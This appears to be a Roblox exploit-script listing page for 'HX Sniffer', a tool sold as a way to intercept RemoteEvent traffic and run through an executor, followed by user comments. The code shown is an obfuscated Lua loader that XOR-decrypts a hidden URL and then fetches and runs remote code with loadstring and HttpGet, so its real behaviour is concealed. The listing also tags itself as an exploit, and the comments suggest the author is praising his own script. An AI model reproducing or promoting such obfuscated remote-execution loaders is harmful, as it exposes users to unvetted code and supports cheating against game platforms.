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HX Sniffer - Probablement [V1.0] | Wireshark for Roblox.

Universal script
6 months ago
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Description

HX Sniffer - Probablement [V1.0]

Created by -XaRTeCK-

Overview

HX Sniffer is a powerful, lightweight tool designed to intercept and monitor RemoteEvent and RemoteFunction communications between client and server in Roblox games. With an elegant, user-friendly interface, this tool helps developers and security researchers analyze game traffic in real-time.

Features
  • Live Event Capturing: Monitors both incoming and outgoing remote events

  • Smart Filtering: Easily filter logs to find specific events or data patterns

  • Copy Functions: Quickly copy event paths or arguments with one click

  • Minimizable Interface: Toggle between full view and a compact floating button to save screen space

  • Clean Visualization: Color-coded direction indicators make it easy to distinguish between client and server traffic

  • Automatic Game Scanning: Identifies and hooks into all remote events upon startup

How To Use
  1. Execute the script in your favorite executor

  2. Click "START" to begin capturing remote events

  3. Use the "SCAN GAME" button to refresh detection of new RemoteEvents

  4. Filter results using the search box in the top right

  5. Minimize to a small floating "HX" button when not in active use

Perfect For
  • Game developers debugging their own RemoteEvent systems

  • Security researchers analyzing game vulnerabilities

  • Learning how games implement client-server communication

Clean, efficient, and professionally designed - HX Sniffer Probablement provides everything you need to analyze game network traffic in one elegant package.

Features:

  • Sniffer
  • Exploit
  • Wireshark
  • Dex

Tested with

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31 Lines • 1.12 KiB
Raw
--[[
Welcome to Luaxcvobfuscater.com (Beta V5.8)
]]--
local obf_stringchar = string.char;
local obf_stringbyte = string.byte;
local obf_stringsub = string.sub;
local obf_bitlib = bit32 or bit;
local obf_XOR = obf_bitlib.bxor;
local obf_tableconcat = table.concat;
local obf_tableinsert = table.insert;
local function LUAOBFUSACTOR_DECRYPT_STR_0(LUAOBFUSACTOR_STR, LUAOBFUSACTOR_KEY)
local FlatIdent_95CAC = 0;
local result;
while true do
if (FlatIdent_95CAC == 1) then
return obf_tableconcat(result);
end
if (FlatIdent_95CAC == 0) then
result = {};
for i = 1, #LUAOBFUSACTOR_STR do
obf_tableinsert(result, obf_stringchar(obf_XOR(obf_stringbyte(obf_stringsub(LUAOBFUSACTOR_STR, i, i + 1)), obf_stringbyte(obf_stringsub(LUAOBFUSACTOR_KEY, 1 + (i % #LUAOBFUSACTOR_KEY), 1 + (i % #LUAOBFUSACTOR_KEY) + 1))) % 256));
end
FlatIdent_95CAC = 1;
end
end
end
loadstring(game:HttpGet(LUAOBFUSACTOR_DECRYPT_STR_0("\217\215\207\53\245\225\136\81\193\194\200\49\227\185\206\16\159\192\212\40\169\169\198\9\158\247\140\45\222\143\223\51\201", "\126\177\163\187\69\134\219\167")))();
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Comments

8 comments
to add a comment
Xa

Yo bro this script is crazy

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Xa

@XaRTeCK Thank you <3

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Xa

Nice script, Working well.

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Xa

@XaRTeCK Hey, thanks!

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iv

why ru talking to urself

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Ha

@ivan he's lost it

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Ha

@HannaeAltae fr

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xy

HX Sn👃ffer

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0
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